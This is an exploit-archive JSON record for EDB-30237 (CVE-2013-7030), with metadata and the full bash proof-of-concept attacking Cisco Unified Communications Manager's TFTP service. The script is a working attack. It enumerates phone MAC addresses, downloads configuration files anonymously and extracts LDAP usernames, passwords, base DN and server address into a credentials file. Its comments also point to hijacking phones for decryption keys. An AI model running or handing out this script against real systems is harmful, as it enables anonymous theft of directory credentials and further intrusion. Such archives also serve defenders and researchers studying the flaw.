{"exploit":{"id":"EDB-30237","name":"Cisco Unified Communications Manager - TFTP Service","description":"Cisco Unified Communications Manager - TFTP Service","cves":["CVE-2013-7030"],"author":"daniel svartman","published":"2013-12-12","platform":"hardware","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/30237","path":"exploits/hardware/local/30237.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-30237.sh","vulnerabilities":[{"id":"CVE-2013-7030","state":"PUBLISHED","title":null,"titleSource":null,"description":"The TFTP service in Cisco Unified Communications Manager (aka CUCM or Unified CM) allows remote attackers to obtain sensitive information from a phone via an RRQ operation, as demonstrated by discovering a cleartext UseUserCredential field in an SPDefault.cnf.xml file. NOTE: the vendor reportedly disputes the significance of this report, stating that this is an expected default behavior, and that the product's documentation describes use of the TFTP Encrypted Config option in addressing this issue","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-7030","cvss":{"version":"3.1","baseScore":7.3,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-7030"},"updatedAt":"2024-10-29T14:20:36.369Z","retrievedAt":"2026-11-27T13:11:18.706Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-30237.png?v=2","url":"https://exploitbin.com/exploits/EDB-30237","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-30237/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-30237/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n#######################################################################\n# Proof of Concept on how to get tftp config files from cisco phones  #\n# This can be performed anonymously and privileges gathered relies on #\n# those assigned to the ldap account                                  #\n# Developed by Daniel Svartman  (danielsvartman@gmail.com             #\n# In case tftp files are encrypted, you will need to hijack a phone   #\n# and download the decryption key from the ROM memory                 #\n#######################################################################\n\n# This example below is for enumerating and downloading configuration files from phones\n# With this you can gather personal information and sometimes also credentials from LDAP\n# The first 8 digits of the MAC address relies on cisco mac address used by phones\n# While the last 4 are generated automatically\n\nBASE_MAC=$1\nTFTP_SERVER=$2\n\nperl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\\n], $var++ }' > mac.txt\n\n#Now we should download the files\nwhile read LINE; do\n\ttftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml\ndone < mac.txt\n\n#Finally, we download and process also the SPDefault.cnf.xml file\ntftp ${TFTP_SERVER} -c get SPDefault.cnf.xml\nUSERID=`grep \"UseUserCredential\"  SPDefault.cnf.xml | cut -d \">\" -f 6 | cut -d \"<\" -f 1`\necho \"USERID: \" $USERID > credentials.txt\nPWD=`grep \"UseUserCredential\" SPDefault.cnf.xml | cut -d \">\" -f 8 | cut -d \"<\" -f 1`\necho \"PWD: \" $PWD >> credentials.txt\nBASE_DN=`grep \"UseUserCredential\" SPDefault.cnf.xml | cut -d \">\" -f 10 | cut -d \"<\" -f 1`\necho \"BASE_DN: \" $BASE_DN >> credentials.txt\nwhile read LINE; do\n\t\t\tif [ \"$LINE\" = \"<ProductType>Directory\" ]; then\n\t\t\t\tread LINE\n\t\t\t\tADDRESS=`echo $LINE | cut -d \">\" -f 2 | cut -d \"<\" -f 1`\n\t\t\t\techo \"LDAP_IP_ADDRESS: \" $ADDRESS >> credentials.txt\n\t\t\tfi\ndone < SPDefault.cnf.xml\n\necho \"Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials\"","sha256":"17fb4ec58b83b56cc87768b164bfb7ea849e83f277099fb0443b0c8fa0cc78a3","bytes":1986,"fetchedAt":"2026-11-27T13:11:18.596Z","encoding":"utf-8 (display only; download retains original bytes)"}